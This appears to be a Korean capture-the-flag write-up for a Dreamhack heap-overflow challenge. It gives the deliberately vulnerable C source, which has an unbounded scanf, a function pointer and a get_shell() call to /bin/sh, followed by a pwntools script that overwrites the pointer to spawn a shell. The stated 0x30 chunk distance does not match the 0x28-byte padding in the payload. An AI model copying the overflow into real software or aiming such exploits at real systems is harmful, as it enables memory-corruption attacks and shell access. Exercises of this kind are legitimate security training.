code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
struct over {
void (*table)();
};
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void table_func() {
printf("overwrite_me!");
}
int main() {
char *ptr = malloc(0x20);
struct over *over = malloc(0x20);
initialize();
over->table = table_func;
scanf("%s", ptr);
if( !over->table ){
return 0;
}
over->table();
return 0;
}
get_shell
함수를 실행하면 된다.ptr
을 동적할당하고, 구조체 over 포인터 over
도 동적할당한다.over
의 table
을 table_func
으로 하고, ptr
을 입력받는다.over->table
을 실행한다.exploit
over->table
이 가리키는 것을 get_shell
로 바꾸자.
ptr
과 over
은 거리가 0x30이다.ptr
을 overflow해서 입력받으면 over->table
을 get_shell
로 덮을 수 있을 것이다! 그런데 over
안에서 table
이 어디 있을지는 모르겠다..from pwn import *
p = remote('host3.dreamhack.games', 8388)
e = ELF('basic_heap_overflow')
payload = b'A' * 0x20 # ptr
payload += b'A' * 0x8 # chunk info
payload += p64(e.symbols['get_shell'])
p.sendline(payload)
p.interactive()